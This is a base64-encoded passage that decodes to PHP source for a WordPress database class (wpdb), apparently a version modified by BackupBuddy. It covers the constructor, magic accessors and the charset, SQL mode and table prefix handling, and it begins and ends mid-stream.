lvbl9sb2c7CgoJLyoqCgkgKiBNdWx0aXNpdGUgU2lnbnVwcyB0YWJsZQoJICoKCSAqIEBzaW5jZSAzLjAuMAoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXB1YmxpYyAkc2lnbnVwczsKCgkvKioKCSAqIE11bHRpc2l0ZSBTaXRlcyB0YWJsZQoJICoKCSAqIEBzaW5jZSAzLjAuMAoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXB1YmxpYyAkc2l0ZTsKCgkvKioKCSAqIE11bHRpc2l0ZSBTaXRld2lkZSBUZXJtcyB0YWJsZQoJICoKCSAqIEBzaW5jZSAzLjAuMAoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXB1YmxpYyAkc2l0ZWNhdGVnb3JpZXM7CgoJLyoqCgkgKiBNdWx0aXNpdGUgU2l0ZSBNZXRhZGF0YSB0YWJsZQoJICoKCSAqIEBzaW5jZSAzLjAuMAoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXB1YmxpYyAkc2l0ZW1ldGE7CgoJLyoqCgkgKiBGb3JtYXQgc3BlY2lmaWVycyBmb3IgREIgY29sdW1ucy4gQ29sdW1ucyBub3QgbGlzdGVkIGhlcmUgZGVmYXVsdCB0byAlcy4gSW5pdGlhbGl6ZWQgZHVyaW5nIFdQIGxvYWQuCgkgKgoJICogS2V5cyBhcmUgY29sdW1uIG5hbWVzLCB2YWx1ZXMgYXJlIGZvcm1hdCB0eXBlczogJ0lEJyA9PiAnJWQnCgkgKgoJICogQHNpbmNlIDIuOC4wCgkgKiBAc2VlIHdwZGI6OnByZXBhcmUoKQoJICogQHNlZSB3cGRiOjppbnNlcnQoKQoJICogQHNlZSB3cGRiOjp1cGRhdGUoKQoJICogQHNlZSB3cGRiOjpkZWxldGUoKQoJICogQHNlZSB3cF9zZXRfd3BkYl92YXJzKCkKCSAqIEBhY2Nlc3MgcHVibGljCgkgKiBAdmFyIGFycmF5CgkgKi8KCXB1YmxpYyAkZmllbGRfdHlwZXMgPSBhcnJheSgpOwoKCS8qKgoJICogRGF0YWJhc2UgdGFibGUgY29sdW1ucyBjaGFyc2V0CgkgKgoJICogQHNpbmNlIDIuMi4wCgkgKiBAYWNjZXNzIHB1YmxpYwoJICogQHZhciBzdHJpbmcKCSAqLwoJcHVibGljICRjaGFyc2V0OwoKCS8qKgoJICogRGF0YWJhc2UgdGFibGUgY29sdW1ucyBjb2xsYXRlCgkgKgoJICogQHNpbmNlIDIuMi4wCgkgKiBAYWNjZXNzIHB1YmxpYwoJICogQHZhciBzdHJpbmcKCSAqLwoJcHVibGljICRjb2xsYXRlOwoKCS8qKgoJICogRGF0YWJhc2UgVXNlcm5hbWUKCSAqCgkgKiBAc2luY2UgMi45LjAKCSAqIEBhY2Nlc3MgcHJvdGVjdGVkCgkgKiBAdmFyIHN0cmluZwoJICovCglwcm90ZWN0ZWQgJGRidXNlcjsKCgkvKioKCSAqIERhdGFiYXNlIFBhc3N3b3JkCgkgKgoJICogQHNpbmNlIDMuMS4wCgkgKiBAYWNjZXNzIHByb3RlY3RlZAoJICogQHZhciBzdHJpbmcKCSAqLwoJcHJvdGVjdGVkICRkYnBhc3N3b3JkOwoKCS8qKgoJICogRGF0YWJhc2UgTmFtZQoJICoKCSAqIEBzaW5jZSAzLjEuMAoJICogQGFjY2VzcyBwcm90ZWN0ZWQKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXByb3RlY3RlZCAkZGJuYW1lOwoKCS8qKgoJICogRGF0YWJhc2UgSG9zdAoJICoKCSAqIEBzaW5jZSAzLjEuMAoJICogQGFjY2VzcyBwcm90ZWN0ZWQKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXByb3RlY3RlZCAkZGJob3N0OwoKCS8qKgoJICogRGF0YWJhc2UgSGFuZGxlCgkgKgoJICogQHNpbmNlIDAuNzEKCSAqIEBhY2Nlc3MgcHJvdGVjdGVkCgkgKiBAdmFyIHN0cmluZwoJICovCglwcm90ZWN0ZWQgJGRiaDsKCgkvKioKCSAqIEEgdGV4dHVhbCBkZXNjcmlwdGlvbiBvZiB0aGUgbGFzdCBxdWVyeS9nZXRfcm93L2dldF92YXIgY2FsbAoJICoKCSAqIEBzaW5jZSAzLjAuMAoJICogQGFjY2VzcyBwdWJsaWMKCSAqIEB2YXIgc3RyaW5nCgkgKi8KCXB1YmxpYyAkZnVuY19jYWxsOwoKCS8qKgoJICogV2hldGhlciBNeVNRTCBpcyB1c2VkIGFzIHRoZSBkYXRhYmFzZSBlbmdpbmUuCgkgKgoJICogU2V0IGluIFdQREI6OmRiX2Nvbm5lY3QoKSB0byB0cnVlLCBieSBkZWZhdWx0LiBUaGlzIGlzIHVzZWQgd2hlbiBjaGVja2luZwoJICogYWdhaW5zdCB0aGUgcmVxdWlyZWQgTXlTUUwgdmVyc2lvbiBmb3IgV29yZFByZXNzLiBOb3JtYWxseSwgYSByZXBsYWNlbWVudAoJICogZGF0YWJhc2UgZHJvcC1pbiAoZGIucGhwKSB3aWxsIHNraXAgdGhlc2UgY2hlY2tzLCBidXQgc2V0dGluZyB0aGlzIHRvIHRydWUKCSAqIHdpbGwgZm9yY2UgdGhlIGNoZWNrcyB0byBvY2N1ci4KCSAqCgkgKiBAc2luY2UgMy4zLjAKCSAqIEBhY2Nlc3MgcHVibGljCgkgKiBAdmFyIGJvb2wKCSAqLwoJcHVibGljICRpc19teXNxbCA9IG51bGw7CgoJLyoqCgkgKiBBIGxpc3Qgb2YgaW5jb21wYXRpYmxlIFNRTCBtb2Rlcy4KCSAqCgkgKiBAc2luY2UgMy45LjAKCSAqIEBhY2Nlc3MgcHJvdGVjdGVkCgkgKiBAdmFyIGFycmF5CgkgKi8KCXByb3RlY3RlZCAkaW5jb21wYXRpYmxlX21vZGVzID0gYXJyYXkoICdOT19aRVJPX0RBVEUnLCAnT05MWV9GVUxMX0dST1VQX0JZJywKCQknU1RSSUNUX1RSQU5TX1RBQkxFUycsICdTVFJJQ1RfQUxMX1RBQkxFUycsICdUUkFESVRJT05BTCcgKTsKCgkvKioKCSAqIFdoZXRoZXIgdG8gdXNlIG15c3FsaSBvdmVyIG15c3FsLgoJICoKCSAqIEBzaW5jZSAzLjkuMAoJICogQGFjY2VzcyBwcml2YXRlCgkgKiBAdmFyIGJvb2wKCSAqLwoJcHJpdmF0ZSAkdXNlX215c3FsaSA9IGZhbHNlOwoKCS8qKgoJICogV2hldGhlciB3ZSd2ZSBtYW5hZ2VkIHRvIHN1Y2Nlc3NmdWxseSBjb25uZWN0IGF0IHNvbWUgcG9pbnQKCSAqCgkgKiBAc2luY2UgMy45LjAKCSAqIEBhY2Nlc3MgcHJpdmF0ZQoJICogQHZhciBib29sCgkgKi8KCXByaXZhdGUgJGhhc19jb25uZWN0ZWQgPSBmYWxzZTsKCgkvKioKCSAqIENvbm5lY3RzIHRvIHRoZSBkYXRhYmFzZSBzZXJ2ZXIgYW5kIHNlbGVjdHMgYSBkYXRhYmFzZQoJICoKCSAqIFBIUDUgc3R5bGUgY29uc3RydWN0b3IgZm9yIGNvbXBhdGliaWxpdHkgd2l0aCBQSFA1LiBEb2VzCgkgKiB0aGUgYWN0dWFsIHNldHRpbmcgdXAgb2YgdGhlIGNsYXNzIHByb3BlcnRpZXMgYW5kIGNvbm5lY3Rpb24KCSAqIHRvIHRoZSBkYXRhYmFzZS4KCSAqCgkgKiBAbGluayBodHRwczovL2NvcmUudHJhYy53b3JkcHJlc3Mub3JnL3RpY2tldC8zMzU0CgkgKiBAc2luY2UgMi4wLjgKCSAqCgkgKiBAZ2xvYmFsIHN0cmluZyAkd3BfdmVyc2lvbgoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJGRidXNlciAgICAgTXlTUUwgZGF0YWJhc2UgdXNlcgoJICogQHBhcmFtIHN0cmluZyAkZGJwYXNzd29yZCBNeVNRTCBkYXRhYmFzZSBwYXNzd29yZAoJICogQHBhcmFtIHN0cmluZyAkZGJuYW1lICAgICBNeVNRTCBkYXRhYmFzZSBuYW1lCgkgKiBAcGFyYW0gc3RyaW5nICRkYmhvc3QgICAgIE15U1FMIGRhdGFiYXNlIGhvc3QKCSAqLwoJcHVibGljIGZ1bmN0aW9uIF9fY29uc3RydWN0KCAkZGJ1c2VyLCAkZGJwYXNzd29yZCwgJGRibmFtZSwgJGRiaG9zdCApIHsKCQlyZWdpc3Rlcl9zaHV0ZG93bl9mdW5jdGlvbiggYXJyYXkoICR0aGlzLCAnX19kZXN0cnVjdCcgKSApOwoKCQlpZiAoIFdQX0RFQlVHICYmIFdQX0RFQlVHX0RJU1BMQVkgKQoJCQkkdGhpcy0+c2hvd19lcnJvcnMoKTsKCgkJLyogVXNlIGV4dC9teXNxbGkgaWYgaXQgZXhpc3RzIGFuZDoKCQkgKiAgLSBXUF9VU0VfRVhUX01ZU1FMIGlzIGRlZmluZWQgYXMgZmFsc2UsIG9yCgkJICogIC0gV2UgYXJlIGEgZGV2ZWxvcG1lbnQgdmVyc2lvbiBvZiBXb3JkUHJlc3MsIG9yCgkJICogIC0gV2UgYXJlIHJ1bm5pbmcgUEhQIDUuNSBvciBncmVhdGVyLCBvcgoJCSAqICAtIGV4dC9teXNxbCBpcyBub3QgbG9hZGVkLgoJCSAqLwoJCWlmICggZnVuY3Rpb25fZXhpc3RzKCAnbXlzcWxpX2Nvbm5lY3QnICkgKSB7CgkJCWlmICggZGVmaW5lZCggJ1dQX1VTRV9FWFRfTVlTUUwnICkgKSB7CgkJCQkkdGhpcy0+dXNlX215c3FsaSA9ICEgV1BfVVNFX0VYVF9NWVNRTDsKCQkJfSBlbHNlaWYgKCB2ZXJzaW9uX2NvbXBhcmUoIHBocHZlcnNpb24oKSwgJzUuNScsICc+PScgKSB8fCAhIGZ1bmN0aW9uX2V4aXN0cyggJ215c3FsX2Nvbm5lY3QnICkgKSB7CgkJCQkkdGhpcy0+dXNlX215c3FsaSA9IHRydWU7CgkJCX0gZWxzZWlmICggZmFsc2UgIT09IHN0cnBvcyggJEdMT0JBTFNbJ3dwX3ZlcnNpb24nXSwgJy0nICkgKSB7CgkJCQkkdGhpcy0+dXNlX215c3FsaSA9IHRydWU7CgkJCX0KCQl9CgoJCSR0aGlzLT5kYnVzZXIgPSAkZGJ1c2VyOwoJCSR0aGlzLT5kYnBhc3N3b3JkID0gJGRicGFzc3dvcmQ7CgkJJHRoaXMtPmRibmFtZSA9ICRkYm5hbWU7CgkJJHRoaXMtPmRiaG9zdCA9ICRkYmhvc3Q7CgoJCS8vIHdwLWNvbmZpZy5waHAgY3JlYXRpb24gd2lsbCBtYW51YWxseSBjb25uZWN0IHdoZW4gcmVhZHkuCgkJaWYgKCBkZWZpbmVkKCAnV1BfU0VUVVBfQ09ORklHJyApICkgewoJCQlyZXR1cm47CgkJfQoKCQkkdGhpcy0+ZGJfY29ubmVjdCgpOwoJfQoKCS8qKgoJICogUEhQNSBzdHlsZSBkZXN0cnVjdG9yIGFuZCB3aWxsIHJ1biB3aGVuIGRhdGFiYXNlIG9iamVjdCBpcyBkZXN0cm95ZWQuCgkgKgoJICogQHNlZSB3cGRiOjpfX2NvbnN0cnVjdCgpCgkgKiBAc2luY2UgMi4wLjgKCSAqIEByZXR1cm4gdHJ1ZQoJICovCglwdWJsaWMgZnVuY3Rpb24gX19kZXN0cnVjdCgpIHsKCQlyZXR1cm4gdHJ1ZTsKCX0KCgkvKioKCSAqIFBIUDUgc3R5bGUgbWFnaWMgZ2V0dGVyLCB1c2VkIHRvIGxhenktbG9hZCBleHBlbnNpdmUgZGF0YS4KCSAqCgkgKiBAc2luY2UgMy41LjAKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lIFRoZSBwcml2YXRlIG1lbWJlciB0byBnZXQsIGFuZCBvcHRpb25hbGx5IHByb2Nlc3MKCSAqIEByZXR1cm4gbWl4ZWQgVGhlIHByaXZhdGUgbWVtYmVyCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBfX2dldCggJG5hbWUgKSB7CgkJaWYgKCAnY29sX2luZm8nID09PSAkbmFtZSApCgkJCSR0aGlzLT5sb2FkX2NvbF9pbmZvKCk7CgoJCXJldHVybiAkdGhpcy0+JG5hbWU7Cgl9CgoJLyoqCgkgKiBNYWdpYyBmdW5jdGlvbiwgZm9yIGJhY2t3YXJkcyBjb21wYXRpYmlsaXR5LgoJICoKCSAqIEBzaW5jZSAzLjUuMAoJICoKCSAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgIFRoZSBwcml2YXRlIG1lbWJlciB0byBzZXQKCSAqIEBwYXJhbSBtaXhlZCAgJHZhbHVlIFRoZSB2YWx1ZSB0byBzZXQKCSAqLwoJcHVibGljIGZ1bmN0aW9uIF9fc2V0KCAkbmFtZSwgJHZhbHVlICkgewoJCSRwcm90ZWN0ZWRfbWVtYmVycyA9IGFycmF5KAoJCQknY29sX21ldGEnLAoJCQkndGFibGVfY2hhcnNldCcsCgkJCSdjaGVja19jdXJyZW50X3F1ZXJ5JywKCQkpOwoJCWlmICggIGluX2FycmF5KCAkbmFtZSwgJHByb3RlY3RlZF9tZW1iZXJzLCB0cnVlICkgKSB7CgkJCXJldHVybjsKCQl9CgkJJHRoaXMtPiRuYW1lID0gJHZhbHVlOwoJfQoKCS8qKgoJICogTWFnaWMgZnVuY3Rpb24sIGZvciBiYWNrd2FyZHMgY29tcGF0aWJpbGl0eS4KCSAqCgkgKiBAc2luY2UgMy41LjAKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lICBUaGUgcHJpdmF0ZSBtZW1iZXIgdG8gY2hlY2sKCSAqCgkgKiBAcmV0dXJuIGJvb2wgSWYgdGhlIG1lbWJlciBpcyBzZXQgb3Igbm90CgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBfX2lzc2V0KCAkbmFtZSApIHsKCQlyZXR1cm4gaXNzZXQoICR0aGlzLT4kbmFtZSApOwoJfQoKCS8qKgoJICogTWFnaWMgZnVuY3Rpb24sIGZvciBiYWNrd2FyZHMgY29tcGF0aWJpbGl0eS4KCSAqCgkgKiBAc2luY2UgMy41LjAKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRuYW1lICBUaGUgcHJpdmF0ZSBtZW1iZXIgdG8gdW5zZXQKCSAqLwoJcHVibGljIGZ1bmN0aW9uIF9fdW5zZXQoICRuYW1lICkgewoJCXVuc2V0KCAkdGhpcy0+JG5hbWUgKTsKCX0KCgkvKioKCSAqIFNldCAkdGhpcy0+Y2hhcnNldCBhbmQgJHRoaXMtPmNvbGxhdGUKCSAqCgkgKiBAc2luY2UgMy4xLjAKCSAqLwoJcHVibGljIGZ1bmN0aW9uIGluaXRfY2hhcnNldCgpIHsKCQlpZiAoIGZ1bmN0aW9uX2V4aXN0cygnaXNfbXVsdGlzaXRlJykgJiYgaXNfbXVsdGlzaXRlKCkgKSB7CgkJCSR0aGlzLT5jaGFyc2V0ID0gJ3V0ZjgnOwoJCQlpZiAoIGRlZmluZWQoICdEQl9DT0xMQVRFJyApICYmIERCX0NPTExBVEUgKSB7CgkJCQkkdGhpcy0+Y29sbGF0ZSA9IERCX0NPTExBVEU7CgkJCX0gZWxzZSB7CgkJCQkkdGhpcy0+Y29sbGF0ZSA9ICd1dGY4X2dlbmVyYWxfY2knOwoJCQl9CgkJfSBlbHNlaWYgKCBkZWZpbmVkKCAnREJfQ09MTEFURScgKSApIHsKCQkJJHRoaXMtPmNvbGxhdGUgPSBEQl9DT0xMQVRFOwoJCX0KCgkJaWYgKCBkZWZpbmVkKCAnREJfQ0hBUlNFVCcgKSApIHsKCQkJJHRoaXMtPmNoYXJzZXQgPSBEQl9DSEFSU0VUOwoJCX0KCgkJaWYgKCAoICR0aGlzLT51c2VfbXlzcWxpICYmICEgKCAkdGhpcy0+ZGJoIGluc3RhbmNlb2YgbXlzcWxpICkgKSB8fCBlbXB0eSggJHRoaXMtPmRiaCApICkgewoJCQlyZXR1cm47CgkJfQoKCQlpZiAoICd1dGY4JyA9PT0gJHRoaXMtPmNoYXJzZXQgJiYgJHRoaXMtPmhhc19jYXAoICd1dGY4bWI0JyApICkgewoJCQkkdGhpcy0+Y2hhcnNldCA9ICd1dGY4bWI0JzsKCQl9CgoJCWlmICggJ3V0ZjhtYjQnID09PSAkdGhpcy0+Y2hhcnNldCAmJiAoICEgJHRoaXMtPmNvbGxhdGUgfHwgc3RyaXBvcyggJHRoaXMtPmNvbGxhdGUsICd1dGY4XycgKSA9PT0gMCApICkgewoJCQkkdGhpcy0+Y29sbGF0ZSA9ICd1dGY4bWI0X3VuaWNvZGVfY2knOwoJCX0KCX0KCQoJCgkvLyBCYWNrdXBCdWRkeSBtb2RpZmllZCB0byBzdG9yZSBjaGFydHNldCBhbmQgY29sbGF0ZSBpbiBjbGFzcy4KCS8qKgoJICogU2V0cyB0aGUgY29ubmVjdGlvbidzIGNoYXJhY3RlciBzZXQuCgkgKgoJICogQHNpbmNlIDMuMS4wCgkgKgoJICogQHBhcmFtIHJlc291cmNlICRkYmggICAgIFRoZSByZXNvdXJjZSBnaXZlbiBieSBteXNxbF9jb25uZWN0CgkgKiBAcGFyYW0gc3RyaW5nICAgJGNoYXJzZXQgT3B0aW9uYWwuIFRoZSBjaGFyYWN0ZXIgc2V0LiBEZWZhdWx0IG51bGwuCgkgKiBAcGFyYW0gc3RyaW5nICAgJGNvbGxhdGUgT3B0aW9uYWwuIFRoZSBjb2xsYXRpb24uIERlZmF1bHQgbnVsbC4KCSAqLwoJcHVibGljIGZ1bmN0aW9uIHNldF9jaGFyc2V0KCAkZGJoLCAkY2hhcnNldCA9IG51bGwsICRjb2xsYXRlID0gbnVsbCApIHsKCQlpZiAoICEgaXNzZXQoICRjaGFyc2V0ICkgKQoJCQkkY2hhcnNldCA9ICR0aGlzLT5jaGFyc2V0OwoJCWlmICggISBpc3NldCggJGNvbGxhdGUgKSApCgkJCSRjb2xsYXRlID0gJHRoaXMtPmNvbGxhdGU7CgkJaWYgKCAkdGhpcy0+aGFzX2NhcCggJ2NvbGxhdGlvbicgKSAmJiAhIGVtcHR5KCAkY2hhcnNldCApICkgewoJCQlpZiAoICR0aGlzLT51c2VfbXlzcWxpICkgewoJCQkJaWYgKCBmdW5jdGlvbl9leGlzdHMoICdteXNxbGlfc2V0X2NoYXJzZXQnICkgJiYgJHRoaXMtPmhhc19jYXAoICdzZXRfY2hhcnNldCcgKSApIHsKCQkJCQlteXNxbGlfc2V0X2NoYXJzZXQoICRkYmgsICRjaGFyc2V0ICk7CgkJCQl9IGVsc2UgewoJCQkJCSRxdWVyeSA9ICR0aGlzLT5wcmVwYXJlKCAnU0VUIE5BTUVTICVzJywgJGNoYXJzZXQgKTsKCQkJCQlpZiAoICEgZW1wdHkoICRjb2xsYXRlICkgKQoJCQkJCQkkcXVlcnkgLj0gJHRoaXMtPnByZXBhcmUoICcgQ09MTEFURSAlcycsICRjb2xsYXRlICk7CgkJCQkJbXlzcWxpX3F1ZXJ5KCAkZGJoLCAkcXVlcnkgKTsKCQkJCX0KCQkJfSBlbHNlIHsKCQkJCWlmICggZnVuY3Rpb25fZXhpc3RzKCAnbXlzcWxfc2V0X2NoYXJzZXQnICkgJiYgJHRoaXMtPmhhc19jYXAoICdzZXRfY2hhcnNldCcgKSApIHsKCQkJCQlteXNxbF9zZXRfY2hhcnNldCggJGNoYXJzZXQsICRkYmggKTsKCQkJCX0gZWxzZSB7CgkJCQkJJHF1ZXJ5ID0gJHRoaXMtPnByZXBhcmUoICdTRVQgTkFNRVMgJXMnLCAkY2hhcnNldCApOwoJCQkJCWlmICggISBlbXB0eSggJGNvbGxhdGUgKSApCgkJCQkJCSRxdWVyeSAuPSAkdGhpcy0+cHJlcGFyZSggJyBDT0xMQVRFICVzJywgJGNvbGxhdGUgKTsKCQkJCQlteXNxbF9xdWVyeSggJHF1ZXJ5LCAkZGJoICk7CgkJCQl9CgkJCX0KCQl9CgkJCgkJJHRoaXMtPmNoYXJzZXQgPSAkY2hhcnNldDsKCQkkdGhpcy0+Y29sbGF0ZSA9ICRjb2xsYXRlOwoJfQoKCS8qKgoJICogQ2hhbmdlIHRoZSBjdXJyZW50IFNRTCBtb2RlLCBhbmQgZW5zdXJlIGl0cyBXb3JkUHJlc3MgY29tcGF0aWJpbGl0eS4KCSAqCgkgKiBJZiBubyBtb2RlcyBhcmUgcGFzc2VkLCBpdCB3aWxsIGVuc3VyZSB0aGUgY3VycmVudCBNeVNRTCBzZXJ2ZXIKCSAqIG1vZGVzIGFyZSBjb21wYXRpYmxlLgoJICoKCSAqIEBzaW5jZSAzLjkuMAoJICoKCSAqIEBwYXJhbSBhcnJheSAkbW9kZXMgT3B0aW9uYWwuIEEgbGlzdCBvZiBTUUwgbW9kZXMgdG8gc2V0LgoJICovCglwdWJsaWMgZnVuY3Rpb24gc2V0X3NxbF9tb2RlKCAkbW9kZXMgPSBhcnJheSgpICkgewoJCWlmICggZW1wdHkoICRtb2RlcyApICkgewoJCQlpZiAoICR0aGlzLT51c2VfbXlzcWxpICkgewoJCQkJJHJlcyA9IG15c3FsaV9xdWVyeSggJHRoaXMtPmRiaCwgJ1NFTEVDVCBAQFNFU1NJT04uc3FsX21vZGUnICk7CgkJCX0gZWxzZSB7CgkJCQkkcmVzID0gbXlzcWxfcXVlcnkoICdTRUxFQ1QgQEBTRVNTSU9OLnNxbF9tb2RlJywgJHRoaXMtPmRiaCApOwoJCQl9CgoJCQlpZiAoIGVtcHR5KCAkcmVzICkgKSB7CgkJCQlyZXR1cm47CgkJCX0KCgkJCWlmICggJHRoaXMtPnVzZV9teXNxbGkgKSB7CgkJCQkkbW9kZXNfYXJyYXkgPSBteXNxbGlfZmV0Y2hfYXJyYXkoICRyZXMgKTsKCQkJCWlmICggZW1wdHkoICRtb2Rlc19hcnJheVswXSApICkgewoJCQkJCXJldHVybjsKCQkJCX0KCQkJCSRtb2Rlc19zdHIgPSAkbW9kZXNfYXJyYXlbMF07CgkJCX0gZWxzZSB7CgkJCQkkbW9kZXNfc3RyID0gbXlzcWxfcmVzdWx0KCAkcmVzLCAwICk7CgkJCX0KCgkJCWlmICggZW1wdHkoICRtb2Rlc19zdHIgKSApIHsKCQkJCXJldHVybjsKCQkJfQoKCQkJJG1vZGVzID0gZXhwbG9kZSggJywnLCAkbW9kZXNfc3RyICk7CgkJfQoKCQkkbW9kZXMgPSBhcnJheV9jaGFuZ2Vfa2V5X2Nhc2UoICRtb2RlcywgQ0FTRV9VUFBFUiApOwoKCQkvKioKCQkgKiBGaWx0ZXIgdGhlIGxpc3Qgb2YgaW5jb21wYXRpYmxlIFNRTCBtb2RlcyB0byBleGNsdWRlLgoJCSAqCgkJICogQHNpbmNlIDMuOS4wCgkJICoKCQkgKiBAcGFyYW0gYXJyYXkgJGluY29tcGF0aWJsZV9tb2RlcyBBbiBhcnJheSBvZiBpbmNvbXBhdGlibGUgbW9kZXMuCgkJICovCgkJJGluY29tcGF0aWJsZV9tb2RlcyA9IChhcnJheSkgYXBwbHlfZmlsdGVycyggJ2luY29tcGF0aWJsZV9zcWxfbW9kZXMnLCAkdGhpcy0+aW5jb21wYXRpYmxlX21vZGVzICk7CgoJCWZvcmVhY2ggKCAkbW9kZXMgYXMgJGkgPT4gJG1vZGUgKSB7CgkJCWlmICggaW5fYXJyYXkoICRtb2RlLCAkaW5jb21wYXRpYmxlX21vZGVzICkgKSB7CgkJCQl1bnNldCggJG1vZGVzWyAkaSBdICk7CgkJCX0KCQl9CgoJCSRtb2Rlc19zdHIgPSBpbXBsb2RlKCAnLCcsICRtb2RlcyApOwoKCQlpZiAoICR0aGlzLT51c2VfbXlzcWxpICkgewoJCQlteXNxbGlfcXVlcnkoICR0aGlzLT5kYmgsICJTRVQgU0VTU0lPTiBzcWxfbW9kZT0nJG1vZGVzX3N0ciciICk7CgkJfSBlbHNlIHsKCQkJbXlzcWxfcXVlcnkoICJTRVQgU0VTU0lPTiBzcWxfbW9kZT0nJG1vZGVzX3N0ciciLCAkdGhpcy0+ZGJoICk7CgkJfQoJfQoKCS8qKgoJICogU2V0cyB0aGUgdGFibGUgcHJlZml4IGZvciB0aGUgV29yZFByZXNzIHRhYmxlcy4KCSAqCgkgKiBAc2luY2UgMi41LjAKCSAqCgkgKiBAcGFyYW0gc3RyaW5nICRwcmVmaXggICAgICAgICAgQWxwaGFudW1lcmljIG5hbWUgZm9yIHRoZSBuZXcgcHJlZml4LgoJICogQHBhcmFtIGJvb2wgICAkc2V0X3RhYmxlX25hbWVzIE9wdGlvbmFsLiBXaGV0aGVyIHRoZSB0YWJsZSBuYW1lcywgZS5nLiB3cGRiOjokcG9zdHMsIHNob3VsZCBiZSB1cGRhdGVkIG9yIG5vdC4KCSAqIEByZXR1cm4gc3RyaW5nfFdQX0Vycm9yIE9sZCBwcmVmaXggb3IgV1BfRXJyb3Igb24gZXJyb3IKCSAqLwoJcHVibGljIGZ1bmN0aW9uIHNldF9wcmVmaXgoICRwcmVmaXgsICRzZXRfdGFibGVfbmFtZXMgPSB0cnVlICkgewoKCQlpZiAoIHByZWdfbWF0Y2goICd8W15hLXowLTlfXXxpJywgJHByZWZpeCApICkKCQkJcmV0dXJuIG5ldyBXUF9FcnJvcignaW52YWxpZF9kYl9wcmVmaXgnLCAnSW52YWxpZCBkYXRhYmFzZSBwcmVmaXgnICk7CgoJCSRvbGRfcHJlZml4ID0gaXNfbXVsdGlzaXRlKCkgPyAnJyA6ICRwcmVmaXg7CgoJCWlmICggaXNzZXQoICR0aGlzLT5iYXNlX3ByZWZpeCApICkKCQkJJG9sZF9wcmVmaXggPSAkdGhpcy0+YmFzZV9wcmVmaXg7CgoJCSR0aGlzLT5iYXNlX3ByZWZpeCA9ICRwcmVmaXg7CgoJCWlmICggJHNldF90YWJsZV9uYW1lcyApIHsKCQkJZm9yZWFjaCAoICR0aGlzLT50YWJsZXMoICdnbG9iYWwnICkgYXMgJHRhYmxlID0+ICRwcmVmaXhlZF90YWJsZSApCgkJCQkkdGhpcy0+JHRhYmxlID0gJHByZWZpeGVkX3RhYmxlOwoKCQkJaWYgKCBpc19tdWx0aXNpdGUoKSAmJiBlbXB0eSggJHRoaXMtPmJsb2dpZCApICkKCQkJCXJldHVybiAkb2xkX3ByZWZpeDsKCgkJCSR0aGlzLT5wcmVmaXggPSAkdGhpcy0+Z2V0X2Jsb2dfcHJlZml4KCk7CgoJCQlmb3JlYWNoICggJHRoaXMtPnRhYmxlcyggJ2Jsb2cnICkgYXMgJHRhYmxlID0+ICRwcmVmaXhlZF90YWJsZSApCgkJCQkkdGhpcy0+JHRhYmxlID0gJHByZWZpeGVkX3RhYmxlOwoKCQkJZm9yZWFjaCAoICR0aGlzLT50YWJsZXMoICdvbGQnICkgYXMgJHRhYmxlID0+ICRwcmVmaXhlZF90YWJsZSApCgkJCQkkdGhpcy0+JHRhYmxlID0gJHByZWZpeGVkX3RhYmxlOwoJCX0KCQlyZXR1cm4gJG9sZF9wcmVmaXg7Cgl9CgoJLyoqCgkgKiBTZXRzIGJsb2cgaWQuCgkgKgoJICogQHNpbmNlIDMuMC4wCgkgKiBAYWNjZXNzIHB1YmxpYwoJICoKCSAqIEBwYXJhbSBpbnQgJGJsb2dfaWQKCSAqIEBwYXJhbSBpbnQgJHNpdGVfaWQgT3B0aW9uYWwuCgkgKiBAcmV0dXJuIGludCBwcmV2aW91cyBibG9nIGlkCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBzZXRfYmxvZ19pZCggJGJsb2dfaWQsICRzaXRlX2lkID0gMCApIHsKCQlpZiAoICEgZW1wdHkoICRzaXRlX2lkICkgKQoJCQkkdGhpcy0+c2l0ZWlkID0gJHNpdGVfaWQ7CgoJCSRvbGRfYmxvZ19pZCAgPSAkdGhpcy0+YmxvZ2lkOwoJCSR0aGlzLT5ibG9naWQgPSAkYmxvZ19pZDsKCgkJJHRoaXMtPnByZWZpeCA9ICR0aGlzLT5nZXRfYmxvZ19wcmVmaXgoKTsKCgkJZm9yZWFjaCAoICR0aGlzLT50YWJsZXMoICdibG9nJyApIGFzICR0YWJsZSA9PiAkcHJlZml4ZWRfdGFibGUgKQoJCQkkdGhpcy0+JHRhYmxlID0gJHByZWZpeGVkX3RhYmxlOwoKCQlmb3JlYWNoICggJHRoaXMtPnRhYmxlcyggJ29sZCcgKSBhcyAkdGFibGUgPT4gJHByZWZpeGVkX3RhYmxlICkKCQkJJHRoaXMtPiR0YWJsZSA9ICRwcmVmaXhlZF90YWJsZTsKCgkJcmV0dXJuICRvbGRfYmxvZ19pZDsKCX0KCgkvKioKCSAqIEdldHMgYmxvZyBwcmVmaXguCgkgKgoJICogQHNpbmNlIDMuMC4wCgkgKiBAcGFyYW0gaW50ICRibG9nX2lkIE9wdGlvbmFsLgoJICogQHJldHVybiBzdHJpbmcgQmxvZyBwcmVmaXguCgkgKi8KCXB1YmxpYyBmdW5jdGlvbiBnZXRfYmxvZ19wcmVmaXgoICRibG9nX2lkID0gbnVsbCApIHsKCQlpZiAoIGlzX211bHRpc2l0ZSgpICkgewoJCQlpZiAoIG51bGwgPT09ICRibG9nX2lkICkKCQkJCSRibG9nX2lkID0gJHRoaXMtPmJsb2dpZDsKCQkJJGJsb2dfaWQgPSAoaW50KSAkYmxvZ19pZDsKCQkJaWYgKCBkZWZpbmVkKCAnTVVMVElTSVRFJyApICYmICggMCA9PSAkYmxvZ19pZCB8fCAxID09ICRibG9nX2lkICkgKQoJCQkJcmV0dXJuICR0aGlzLT5iYXNlX3ByZWZpeDsKCQkJZWxzZQo